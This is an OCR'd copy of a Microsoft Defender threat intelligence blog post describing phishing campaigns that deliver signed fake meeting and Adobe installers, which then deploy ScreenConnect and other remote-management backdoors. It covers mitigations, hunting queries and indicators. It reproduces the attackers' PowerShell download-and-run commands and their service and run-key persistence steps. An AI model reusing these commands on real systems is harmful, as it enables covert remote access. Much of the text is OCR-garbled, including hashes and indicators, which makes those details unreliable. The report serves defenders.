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In February 2026, Microsoft Defender Experts identified multiple phishing campaigns attributed to an unknown threat actor.

The campaigns used workplace meeting lures, PDF attachments, and abuse of legitimate binaries to deliver signed malware.

Phishing emails directed users to download malicious executables masquerading as legitimate software. The files were
digitally signed using an Extended Validation (EV) certificate issued to TrustConnect Software PTY LTD. Once executed,
the applications installed remote monitoring and management (RMM) tools that enabled the attacker to establish persistent

access on compromised systems.

These campaigns demonstrate how familiar branding and trusted digital signatures can be abused to bypass user suspicion

and gain an initial foothold in enterprise environments.

Attack chain overview

(CD’ 1. User receives either a counterfeit PDF attachment via phishing email or highly convincing Teams/Zoom phishing
-A emails impersonating legitimate meeting requests containing an embedded malicious link.
Initial access
I:I-_A| 2. After opening the PDF, the user clicks a red “Open in Adobe” button that redirects to a spoofed Adobe download page
instead of the doc and i software mass ading as A In parallel lures,

Fuscution phishing links lead to fake "out of date” or “update required” prompts, downloading trojanized Teams, Zoom, or

Google Meet installers that deploy RMM software digitally signed by TrustConnect Software PTY LTD.

(/\ Masqueraded Workspace app signed by TrustConnect copies itself to C:\Program Files,
& registers asa service, and adds a registry run key for persistence.

Persistence

' Trust connect RMM established an outbound network connection to the attacker-controlled
Command and Control (C2) domain: trustconnectsoftware|.Jcom
c2

w

Masqueraded executable launched encoded PowerShell to download ScreenConnect installer from attacker-controlled
domain and stage it in the temp directory. Subsequently, the Windows msiexec.exe utility was invoked to execute the
Execution staged installer files. This process resulted in the full installation of the ScreenConnect application.

ES

(/R . The screenconnect application created multiple registry entries to ensure ongoing persistence.

Persistence

. The screen connect observed making consistent network connections to attacker-controlled domains

o

6. In some instances, we observed threat actor additionally deployed Tactical RMM and Mesh Agent RMM providing
another remote channel for persistence

Execution

Based on Defender telemetry, Microsoft Defender Experts conducted forensic analysis that identified a campaign centered
on deceptive phishing emails delivering counterfeit PDF attachments or links impersonating meeting invitations, financial

documents, invoices, and organizational notifications.

The lures directed users to download malicious executables masquerading as legitimate software, including msteams.exe ,
trustconnectagent.exe , adobereader.exe , zoomworkspace.clientsetup.exe ,and invite.exe . These files were

digitally signed using an Extended Validation certificate issued to TrustConnect Software PTY LTD.

Once executed, the applications deployed remote monitoring and management tools such as ScreenConnect, Tactical RMM,
and Mesh Agent. These tools enabled the attacker to establish persistence and move laterally within the compromised

environment.
Campaign delivering PDF attachments

In one observed campaign, victims received the following email which included a fake PDF attachment that when opened

shows the user a blurred static image designed to resemble a restricted document.
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Email containing PDF attachment .

A red button labeled “Open in Adobe” encouraged the user to click to continue to access the file. However, when clicked

instead of displaying the document, the button redirects users to a spoofed webpage crafted to closely mimic Adobe’s
official download center.

e

Open in Adobe Reader to Acess this File

| Open in Adobe

Content inside the counterfeit PDF attachment.

The screenshot shows that the user’s Adobe Acrobat is out of date and automatically begins downloading what appears to be

a legitimate update masquerading as AdobeReader but it is an RMM software package digitally signed by TrustConnect
Software PTY LTD.
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Download page masquerading Adobe Acrobat Reader.
Campaign delivering meeting invitations

In another observed campaign, the threat actor was observed distributing highly convincing Teams and Zoom phishing

emails that mimic legitimate meeting requests, project bids, and financial communications.

P 2025 ACCOUNT RECONCILIATION

[caumone " D0 not chck links. o open attachments unkess sander sole.

| completed the accounting reconciliation yesterday, specifically for our 2025 financial records: The transcript mentions you on page 9. Could you please confirm if the information is.
accurate, of lel me know if any adjustments are needed before | send it over to the department?

VIEW TRANSCRIPT
Thank youl
Phone:

Emait [ com

com

Phishing email tricking users to download Fake Microsoft Teams transcript

YOU ARE INVITED TO SUBMIT BID

0710 e st R T R0 1 SIS N PR 1 o € 88 08 B

Caution: This utside your at opening attachments or cicking ks, expecially from unknown senders.

Phishing email tricking users to download Fake Microsoft Teams transcript.
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Caution: This emad your speciaity
On behaif of . We are pleaied 10 inform you that your Organiz stion has been sekected to submit & propossl and quote for an upcoming project
opportunity. We invite you to review ’ detaily In this bid

You can access the full project package here:
= [Preview)

1 you know of amy collesgues or partners who may also be interested, please feel free 1o forward this emal to them 5o they may take part as well

Thank you.

Executive Director

Phishing email tricking users to download a package.

These messages contained embedded phishing links that led users to download software impersonating trusted applications.
The fraudulent sites displayed “out of date” or “update required” prompts designed to induce rapid user action. The resulting
downloads masqueraded as Teams, Zoom, or Google Meet installer were in fact remote monitoring and management

(RMM) software once again digitally signed by TrustConnect Software PTY LTD.
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Download page masquerading Microsoft Teams software .
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ScreenConnect RMM backdoor installation

Once the masqueraded Workspace application (digitally signed by TrustConnect) was executed from the Downloads
directory, it created a secondary copy of itself under C:\Program Files. This behavior was intended to reinforce its
appearance as a legitimate, system-installed application. The program then registered the copied executable as a Windows

service, enabling persistent and stealthy execution during system startup.

As part of its persistence mechanism, the service also created a Run key located at:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Value name: TrustConnectAgent

This Run key was configured to automatically launch the disguised executable:  C:\Program Files\Adobe Acrobat
Reader\AdobeReader.exe

At this stage, the service established an outbound network connection to the attacker-controlled Command and Control (C2)

domain: trustconnectsoftware[.]Jcom

£ @34356 - "Adobe_Reader_Instalier exe"
(] Library loaded Adobe_Reader.
1820224 - "Adobe_Reader

700 - *sG.exe” create *Adobe Acrobat Reader” binPath="\'C:\Program Acrobat exo\™ start= auto D “Adobe Acrobat Reader”
{18164 - conhost axe Oxfffff -ForcoV1
A sarvice was installed
=(]9936 - *sc oxe" doscription *Adobe Acrobat Reader* *Adobo Acrobat Reador - Remote Support Agont*
{_)32072 - conhost axe OxTfffif -ForceV1
(18796 - *sc exe” start "Adobe Acrobat Reader”

Image displaying executable installed as a service.

Following the installation phase, the masqueraded workplace executables (TrustConnect RMM) initiated encoded

PowerShell commands designed to download additional payloads from the attacker-controlled infrastructure.

These PowerShell commands retrieved the ScreenConnect client installer files (.msi) and staged them within the systems’
temporary directory paths in preparation for secondary deployment. Subsequently, the Windows msiexec.exe utility was
invoked to execute the staged installer files. This process results in the full installation of the ScreenConnect application and
the creation of multiple registry entries to ensure ongoing persistence.

-NoProfile icy Bypass -Command “$url = L.ClientSetup. msi ¥ (; $outfite = Join-Path

Senv:TEMP 'ScreenC t.ClientSetup.msi': -Uri Surl -Headers @{ 'User-Agent' ="Mozilla/5.0 (Windows NT 10.0; Win64: x64)' } -OutFile Soutfile: Start-Process
Soutfile”
"powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri

irecti i onnect.Cli y * -OutFile C: ysc.msi

msiexec ist /1C: msi,/quiet; “Wait*
"powershellexe" -ExecutionPolicy Bypass -Command " Uri'l phx-8. i 73651-57d6-4adb-be97-
1.Clientse " -OutFile C: IP\mysc.msi; Stant-Process msiexec List */I7CAWINDC msi; “morestart’-

Wait"

173.195.100.77/Bi sonnect.Cli msi’  -OutFile

“powershelLexe” -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri'h y
AL alL msi; st '/i,C:\: AppData\Local\Temp\sc.msi;/quiet,/norestart’ -Wait

-Command "Invok -Uri"hitpss g Sonnect CE y ORD
QutFile ‘ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList /i, ‘ScreenConnect.ClientSetup.msi, ‘/qn’, /norestart’ -Wait~

exe” -Command “Invoky Uri nnect.C y ' -OutFile
Connect.Cl msi; Start-Pre s ist /i, "ScreenConnect.Cl msi, '/qn’, /norestart'-Wait"

Sample commands seen across multiple devices in this campaign.

In this case, the activity possibly involved the on-premises version of ScreenConnect delivered through an MSI package that
was not digitally signed by ConnectWise. On-premises version of ScreenConnect MSI installers are unsigned by default. As
such, encountering an unsigned installer in a malicious activity often suggests it’s a potentially obtained through

unauthorized means.
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Review of the ScreenConnect binaries dropped during execution of ScreenConnect installer files showed that the associated
executable files were signed with certificates that had already been revoked. This pattern—unsigned installer followed by

executables bearing invalidated signatures—has been consistently observed in similar intrusions.

Analysis of the registry artifacts indicated that the installed backdoor created and maintained multiple ScreenConnect Client
related registry values across several Windows registry locations, embedding itself deeply within the operating system.

Persistence through Windows services was reinforced by entries placed under:
HKLM\SYSTEM\ControlSet001\Services\ScreenConnect Client [16digit unique hexadecimal client identifier]

Within the service key, command strings instructed the client on how to reconnect to the remote operator’s infrastructure.
These embedded parameters included encoded identifiers, callback tokens, and connection metadata, all of which enable

seamless reestablishment of remote access following system restarts or service interruptions.

Additional registry entries observed during analysis further validate this persistence strategy. The configuration strings

reference the executable ScreenConnect.ClientService.exe, located in:
C:\Program Files (x86)\ScreenConnect Client [Client ID]

These entries contained extensive encoded payloads detailing server addresses, session identifiers, and authentication

parameters. Such configuration depth ensures that the ScreenConnect backdoor maintained:

¢ Reliable persistence
« Operational stealth

« Continuous C2 availability

The combination of service-based autoruns, encoded reconnection parameters, and deep integration into critical system
service keys demonstrates a deliberate design optimized for long term, covert remote access. These characteristics are
consistent with a repurposed ScreenConnect backdoor, rather than a benign or legitimate Remote Monitoring and

Management (RMM) deployment.

ActionType  RegistryKey = RegistyValueData "
HKEY. LOCAL MACHINE\SOFTWARE\Classes\sc

RegistyValieset o MB0T0sheopentcommand CAProgram Files (96)\ScreenConnect Clent (dce975345b31B0TONScreenConnect WindowsClent exe” "X 1
CAProgram Files (x86)\ScreenConnect Client (dce975945b318070\ScreenConnect ClentService exe™ 7

e~ Accessfy =Guestaih=smallmartdirectintense comp = 804 185 = dfcda 173-9e92 4351

Reistoieser MEEVLOCAMACHINE SYSTEMG bsas BgAAC QeETE 2tescy gLAoKONEPASUIIQIgRLAPESSIR2b2UCKIOWS0USIO%
\ScreenComnect Clent (&ce9TS4S6318070) 2POMUXnLasypMDXReQSTSwiGQAQOGHe3pEC2A0MOAZSNISIN2LOHIONCIVE e TKUTUDKPsFAZA
208LSHASSBAGCBINMIKUOUG
RS nbwcEmt
HKEY LOCAL MACHINE\SYSTEM\ControlSet001\Services.
RegitryValueSet < reenComact et (4ce9T59450318070)
€\Prograrm Files
e=Accessliy=Guestih cometp= 80418 =dicaa 12336624351
cegisoyvaeser HEETLOCALNAC < 5551008125638 AGBIVE 2680 QNIPASUTIQRLAPESSR2b2ADNIOWS0USI0%
\ScieenConnect Chent (dce9759450318070) 2/POMUXNLaSVP QQA4QOGIe3pEC; a dOVeZy 20w q 21 TKUTUDKNSFAZA%,

2bBLSXASSBEIGCBINMIONUOUG

Cm TLLSKIYGSAWmABIUTEOSVMUZIGDOKISUC MhEGQ3 3sMas.

Registry entries observed during the installation of ScreenConnect backdoor.

Additional RMM installation

During analysis we identified that the threat actor did not rely solely on the malicious ScreenConnect backdoor to maintain
access. In parallel, the actor deployed additional remote monitoring and management (RMM) tools to strengthen foothold
redundancy and expand control across the environment. The masqueraded Workplace executables associated with the
TrustConnect RMM initiated a series of encoded PowerShell commands. This technique, which was also used to deploy
ScreenConnect, enabled the download and installation of Tactical RMM from the attacker-controlled infrastructure. As part
of this secondary installation, the Tactical RMM deployment subsequently installed MeshAgent, providing yet another

remote access channel for persistence.

The use of multiple RMM frameworks within a single intrusion demonstrates a deliberate strategy to ensure continuous

access, diversify C2 capabilities, and maintain operational resilience even if one access mechanism is detected or removed.

<1 21520 . “TrstConmectAgent e (44)
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[ ——
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1488 “mebagenton” fulatal

Image displaying deployment of Tactical RMM & MeshAgent backdoor .
Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for

the deployment status of monitored mitigations.
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 Follow the recommendations within the Microsoft Technique Profile: Abuse of remote monitoring and management

tools to mitigate the use of unauthorized RMMs in the environment.

e Use Windows Defender Application Control or AppLocker to create policies to block unapproved IT management

tools
o Both solutions include functionality to block specific software publisher certificates: WDAC file rule

levels allow administrators to specify the level at which they want to trust their applications, including listing

certificates as untrusted. AppLocker’s publisher rule condition is available for files that are digitally signed,

which can enable organizations to block non-approved RMM instances that include publisher information.
o Microsoft Defender for Endpoint also provides functionality to block specific signed applications using

the block certificate action.

» For approved RMM systems used in your environment, enforce security settings where it is possible to implement
multifactor authentication (MFA).

» Consider searching for unapproved RMM software installations (see the Advanced hunting section). If an
unapproved installation is discovered, reset passwords for accounts used to install the RMM services. If a system-
level account was used to install the software, further investigation may be warranted.

e Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to
cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge
majority of new and unknown variants.

e Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.

» Enable Zero-hour auto purge (ZAP) in Microsoft Defender for Office 365 to quarantine sent mail in response to
newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that
have already been delivered to mailboxes.

» Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which

identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.

Microsoft Defender XDR customers can turn on the following attack surface reduction rules to prevent common
attack techniques used by threat actors:
o Use advanced protection against ransomware

o Block process creations originating from PsExec and WMI commands. Some organizations may experience

compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent
lateral movement originating from PsExec and WML

o Block executable files from running unless they meet a prevalence, age, or trusted list criterion

» You can assess how an attack surface reduction rule might impact your network by opening the security

recommendation for that rule in threat and vulnerability management. In the recommendation details pane, check the
user impact to determine what percentage of your devices can accept a new policy enabling the rule in blocking mode

without adverse impact to user productivity.
Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR
coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide

integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and

respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Tactic Observed activity Microsoft Defender coverage

Microsoft Defender for Office365 — A potentially

malicious URL click was detected — A user clicked
Initial Phishing Email detected by through to a potentially malicious URL — Email
Access Microsoft Defender for Office ~ messages containing malicious URL removed after

delivery — Email messages removed after delivery —

Email reported by user as malware or phish

— PowerShell running encoded
commands and downloading Microsoft Defender for Endpoint — Suspicious

Execution  the payloads — ScreenConnect PowerShell download or encoded command execution —

executing suspicious Suspicious command execution via ScreenConnect

commands

Malicious applications Microsoft Defender for Endpoint — An active
Malware impersonating workplace ‘Kepavll’ malware was detected — ‘Screwon’ malware

applications detected was prevented

Threat intelligence reports
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https://learn.microsoft.com/defender-endpoint/cloud-protection-microsoft-defender-antivirus
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https://learn.microsoft.com/defender-office-365/safe-attachments-about?ocid=magicti_ta_learndoc&view=o365-worldwide
https://learn.microsoft.com/defender-office-365/zero-hour-auto-purge
https://learn.microsoft.com/deployedge/microsoft-edge-security-smartscreen
https://learn.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction
https://learn.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?ocid=magicti_ta_learndoc#use-advanced-protection-against-ransomware
https://learn.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?ocid=magicti_ta_learndoc#block-process-creations-originating-from-psexec-and-wmi-commands
https://learn.microsoft.com/defender-endpoint/attack-surface-reduction-rules-reference#block-executable-files-from-running-unless-they-meet-a-prevalence-age-or-trusted-list-criterion
https://security.microsoft.com/security-recommendations
https://security.microsoft.com/security-recommendations
https://learn.microsoft.com/en-us/defender-xdr/security-copilot-in-microsoft-365-defender
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Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the
threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection
information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer

environments.
Hunting queries
Microsoft Defender XDR

Microsoft Defender XDR customers can run the following queries to find related activity in their environment:

Use the below query to discover files digitally signed by TrustConnect Software PTY LDT

1 DeviceFileCertificateInfo

2 | where Issuer == "TrustConnect Software PTY LTD" or Signer == "TrustConnect Software PTY LTD"
3 | join kind=inner (

4 DeviceFileEvents

5 | project SHA1, FileName, FolderPath, DeviceName, TimeGenerated

6 ) on SHA1

7 | project TimeGenerated, DeviceName, FileName, FolderPath, SHA1, Issuer, Signer

Use the below query to identify the presence of masqueraded workplace applications

let File_Hashes_SHA256 = dynamic([

"ef7702ac5f574b2c046df6d5ab3e603abe57d981918cddedf4de6fed4101d3288",
"4c6251e1db72bdd00b64091013ach8b9ch889c768a4cadb2ead3cc89362ac2ca",

"86b788ce9379e02e1127779f6c4d91eedc1755aae18575e2137fb82ce39e100f",
2 "959509ef2fa29dfeeae688d05d31fff08bde42e2320971f4224537969553070" ,

3 "5701dabdbab85b903a84de6977a9f946accc08acf2111e5d91bc189a83c3faea",
4 "6641567ed47fdb2540a894eb983bcbc82d7ad8eathdaf1de24711380c9d38f8b",
5 "98a4d09db3de140d251eabafd30dc f3a08e8ae8e102fc44dd16c4356cc7ad8ab",

"9827c2d623d2e3af840b04d5102cabe4bd01af174131fc00731b076487800ca",
6

"edde2673becdf84e3b1d823a985c7984fec42ch65c7666e68badce78bd0666c0",
7 "c6097dfbdaf256d07ffe@5b443096c6c10d558ed36380bafbabddbebf5e2bc3”,

8 "947bcb782c278dad50c2e27ec29cb9119a687fd27485f2d03c3f2e133551102e",
"36fdd4693b6df8f2de7b36dff745a3f41324a6dacb78b4159040c5d15e11ach7",

"35f037081590810be88dfb27c53d63cdbbb3fb93c110ca@dd1bc23ecdf61f983",
10 v4fg51ebcacd88d292eb2bbichbe28hefafd1d418be862d9e34eachd65337398¢ " 0

n "c862dbcadad472e558d1ffc3d5cfee65d1d5e06b59a724e4a93c7099dd37357"1);
DeviceFileEvents

| where SHA256 has_any (File_Hashes_SHA256)

Use the below query to identify the malicious network connection

1 DeviceNetworkEvents

2 | where RemoteUrl has "trustconnectsoftware.com"

Use the below query to identify the suspicious executions of ScreenConnect Backdoor via PowerShell

1 DeviceProcessEvents

Page 7 of 9



https://www.microsoft.com /en-us/security/blog/2026 /03/03/signed-malware-im personating-wor kplace-apps-deploys-rmm-backdoors/

2 | where InitiatingProcessCommandLine has_all ("Invoke-WebRequest","-OutFile","Start-Process",
"ScreenConnect", ".msi") or ProcessCommandLine has_all ("Invoke-WebRequest","-OutFile","Start-Process",
3 "ScreenConnect”, ".msi")

| project-reorder Timestamp,

DeviceId,DeviceName,InitiatingProcessCommandLine,ProcessCommandLine,InitiatingProcessParentFileName

Use the below query to identify the suspicious deployment of ScreenConnect and Tactical RMM

DeviceProcessEvents

1 | where InitiatingProcessCommandLine has_all ("ScreenConnect","Tactical RMM","access","guest") or

ProcessCommandLine has_all ("ScreenConnect","Tactical RMM","access","quest")

| where InitiatingProcessCommandLine !has "screenconnect.com" and ProcessCommandLine !has

"screenconnect.com"
| where InitiatingProcessParentFileName in ("services.exe", "Tactical RMM.exe")

| project-reorder Timestamp,

Deviceld,DeviceName,InitiatingProcessCommandLine,ProcessCommandLine,InitiatingProcessParentFileName

Indicators of compromise

Indicators

ef7702ac5f574b2c046df6d5ab3e603abe57d981918cddedf4de6fe41b1d32884c6251e1db72bdd00b64091013acb8b9cb889c768adcadb2ead3cc89:

hxxps[://]store-na-phx-1[.]gofile[.]io/download/direct/fc087401-6097-412d-8c7f-e471c7d83d7f/Onchain-installer|.]Jexehxxps[://Jlwaynelimck][.]c
hxxps[://lyad[.]Jma/Union/Colony/complete[.Jphphxxps[://lwww[.]Imetrosuitesbellavie[.Jcom/crewe/cjo/yte/MsTeams|.Jexe

Trustconnectsoftware[.]com

turn[.Jzoomworkforce[. Jusrightrecoveryscreen[.]topsmallmartdirectintense[.Jcomr9][. ]virtualonlineserver[.Jorgapp[.Jovbxbzuaiopp[.]Jonlineserver

136[.10[.]1157[.]151154[.]116[.]1171[.]203173[.]195[.]100[.]7766[.]1150[.]196[.]166
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Pacdashed[.]Jcom

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI maps) to
automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TT Map
analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel

Content Hub to have the analytics rule deployed in their Sentinel workspace.

References

« Intel Article — Microsoft Defender

This research is provided by Microsoft Defender Security Research with contributions from Sai Chakri Kandalai.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within

your organization.

Microsoft 365 Copilot Al security documentation

» How Microsoft discovers and mitigates evolving attacks against Al guardrails

Learn more about securing Copilot Studio agents with Microsoft Defender
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Microsoft Learn

Explore how to build and customize agents with Copilot Studio Agent Builder

Source: https://www.microsoft.com/en-us/security/blog/2026/03/03/signed-malware-impersonating-workplace-apps-deploys-rmm-backdoors,
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